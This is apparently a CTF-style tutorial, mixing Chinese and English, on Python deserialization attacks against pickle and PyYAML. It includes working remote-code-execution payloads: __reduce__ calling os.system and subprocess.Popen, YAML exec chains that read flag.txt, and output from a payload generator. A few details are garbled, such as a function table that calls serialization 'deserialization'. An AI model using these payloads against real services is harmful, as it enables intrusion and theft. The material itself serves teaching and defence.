Python反序列化¶
Python的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输, 然后使用的时候再将字节流转化回原始的对象的一个过程, 这个和其他语言的序列化与反序列化其实都差不多.
Python中序列化一般有两种方式: pickle模块和json模块, 前者是Python特有的格式, 后者是json通用的格式.
相较于PHP反序列化灵活多样的利用方式, 例如POP链构造, Phar反序列化, 原生类反序列化以及字符逃逸等. Python相对而言没有PHP那么灵活, 关于反序列化漏洞主要涉及这么几个概念: pickle, pvm, __reduce__魔术方法
Pickle反序列化¶
Pickle¶
简介¶
Pickle可以用于Python特有的类型和Python的数据类型间进行转换(所有Python数据类型).
Python提供两个模块来实现序列化: cPickle和pickle. 这两个模块功能是一样的, 区别在于cPickle是C语言写的, 速度快; pickle是纯Python写的, 速度慢. 在Python3中已经没有cPickle模块. pickle有如下四种操作方法:
| 函数 | 说明 |
|---|---|
| dump | 对象反序列化到文件对象并存入文件 |
| dumps | 对象反序列化为 bytes 对象 |
| load | 对象反序列化并从文件中读取数据 |
| loads | 从 bytes 对象反序列化 |
简单使用¶
序列化操作¶
import pickle
class Demo():
def init(self, name='h3rmesk1t'):
self.name = name
print(pickle.dumps(Demo()))
- Python3
b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Demo\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\th3rmesk1t\x94sb.'
- Python2
输出的一大串字符实际上是一串PVM操作码, 可以在pickle.py中看到关于这些操作码的详解.

反序列化操作¶
import pickle
class Demo():
def __init__(self, name='h3rmesk1t'):
self.name = name
print('[+] 序列化')
print(pickle.dumps(Demo()))
print('[+] 反序列化')
print(pickle.loads(pickle.dumps(Demo())).name)

PVM¶
组成部分¶
PVM由三个部分组成:
- 指令处理器: 从流中读取
opcode和参数, 并对其进行解释处理. 重复这个动作, 直到遇到.这个结束符后停止, 最终留在栈顶的值将被作为反序列化对象返回. - 栈区(
stack): 由Python的list实现, 被用来临时存储数据、参数以及对象, 在不断的进出栈过程中完成对数据流的反序列化操作, 并最终在栈顶生成反序列化的结果. - 标签区(
memo): 由Python的dict实现, 为PVM的整个生命周期提供存储.
执行流程¶
首先, PVM会把源代码编译成字节码, 字节码是Python语言特有的一种表现形式, 它不是二进制机器码, 需要进一步编译才能被机器执行. 如果Python进程在主机上有写入权限, 那么它会把程序字节码保存为一个以.pyc为扩展名的文件. 如果没有写入权限, 则Python进程会在内存中生成字节码, 在程序执行结束后被自动丢弃.
一般来说, 在构建程序时最好给Python进程在主机上的写入权限, 这样只要源代码没有改变, 生成的.pyc文件就可以被重复利用, 提高执行效率, 同时隐藏源代码.
然后, Python进程会把编译好的字节码转发到PVM(Python虚拟机)中, PVM会循环迭代执行字节码指令, 直到所有操作被完成.
指令集¶
当前用于pickling的协议共有6种, 使用的协议版本越高, 读取生成的pickle所需的Python版本就要越新.
v0版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python.v1版协议是较早的二进制格式, 它也与早期版本的Python兼容.v2版协议是在Python 2.3中引入的, 它为存储new-style class提供了更高效的机制, 参阅PEP 307.v3版协议添加于Python 3.0, 它具有对bytes对象的显式支持, 且无法被Python 2.x打开, 这是目前默认使用的协议, 也是在要求与其他Python 3版本兼容时的推荐协议.v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.
漏洞常见出现地方¶
- 通常在解析认证
token,session的时候. 现在很多Web服务都使用redis、mongodb、memcached等来存储session等状态信息. - 可能将对象
Pickle后存储成磁盘文件. - 可能将对象
Pickle后在网络中传输.
漏洞利用方式¶
漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化, 反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码.

简单来说, __reduce__()魔术方法类似于PHP中的__wakeup()方法, 在反序列化时会先调用__reduce__()魔术方法.
- 如果返回值是一个字符串, 那么将会去当前作用域中查找字符串值对应名字的对象, 将其序列化之后返回.
- 如果返回值是一个元组, 要求是
2到6个参数(Python3.8新加入元组的第六项). - 第一个参数是可调用的对象.
- 第二个是该对象所需的参数元组, 如果可调用对象不接受参数则必须提供一个空元组.
- 第三个是用于表示对象的状态的可选元素, 将被传给前述的
__setstate__()方法, 如果对象没有此方法, 则这个元素必须是字典类型并会被添加至__dict__属性中. - 第四个是用于返回连续项的迭代器的可选元素.
- 第五个是用于返回连续键值对的迭代器的可选元素.
-
第六个是一个带有
(obj, state)签名的可调用对象的可选元素. -
pickple序列化
import pickle # 序列化的主要模块
# pickle.dump/dumps-->序列化
# pickle.load/loads-->反序列化
import pickletools # 分析序列化数据(反汇编)的模块
# from typing import Any
import os
import base64
class Test():
def __init__(self) -> None:
self.data = 2022
self.text = "haihaihai"
self.todo = {'1', 'a', 'b'}
# 在反序列化的时候会自动执行__reduce__函数
def __reduce__(self):
return (os.system, ('dir',))
# 这里可以写自定义的命令,进行RCE
x = Test()
print(base64.b64encode(pickle.dumps(x))) # 序列化类,由于序列化可能会有无法打印的字符,所以可以base64加密
# pickletools.dis(pickle.dumps(x)) #反汇编序列化数据
a = pickletools.optimize(pickle.dumps(x)) # 优化序列化数据,使其更有可读性
pickletools.dis(a) # 打印出相关信息
pickle.loads(base64.b64decode('gASVGwAAAAAAAACMAm50lIwGc3lzdGVtlJOUjANkaXKUhZRSlC4='))
# 这句代码执行会导致dir命令执行
import json
dic = {
'name': 'yyf',
'age': 12,
'id': '45646163'
}
print(type(json.dumps(dic)), json.dumps(dic))
# 序列化dict对象
print(type(json.loads('{"name": "yyf", "age": 12, "id": "45646163"}')), json.loads(
'{"name": "yyf", "age": 12, "id": "45646163"}'))
# 反序列化json格式数据为dict
# 将json格式字符串反序列化为class
class Test():
def __init__(self, name, age, id) -> None:
self.name = name
self.age = age
self.id = id
def dictojson(dic):
# 将dict的值赋给class
test = Test(
name=dic['name'],
age=dic['age'],
id=dic['id']
)
return test
# 返回实例
josnstr = '{"name": "yyf", "age": 12, "id": "45646163"}'
c=json.loads(josnstr, object_hook=dictojson)
# 转化为类
print(type(c))
print(c.name) # 调用类属性
yaml反序列化¶
Yaml python libraries is also capable to serialize python objects and not just raw data:
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
Check how the tuple isn’t a raw type of data and therefore it was serialized. And the same happened with the range (taken from the builtins).

safe_load() or safe_load_all() uses SafeLoader and don’t support class object deserialization. Class object deserialization example:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
The previous code used unsafe_load to load the serialized python class. This is because in version >= 5.1, it doesn’t allow to deserialize any serialized python class or class attribute, with Loader not specified in load() or Loader=SafeLoader.
Basic Exploit¶
Example on how to execute a sleep:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
Vulnerable .load("") without Loader¶
Old versions of pyyaml were vulnerable to deserialisations attacks if you didn't specify the Loader when loading something: yaml.load(data)
You can find the description of the vulnerability here. The proposed exploit in that page is:
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
Or you could also use this one-liner provided by @ishaack:
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
Note that in recent versions you cannot no longer call .load() without a Loader and the FullLoader is no longer vulnerable to this attack.
RCE¶
Custom payloads can be created using Python YAML modules such as PyYAML or ruamel.yaml. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
Tool to create Payloads¶
The tool https://github.com/j0lt-github/python-deserialization-attack-payload-generator can be used to generate python deserialization payloads to abuse Pickle, PyYAML, jsonpickle and ruamel.yaml:
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt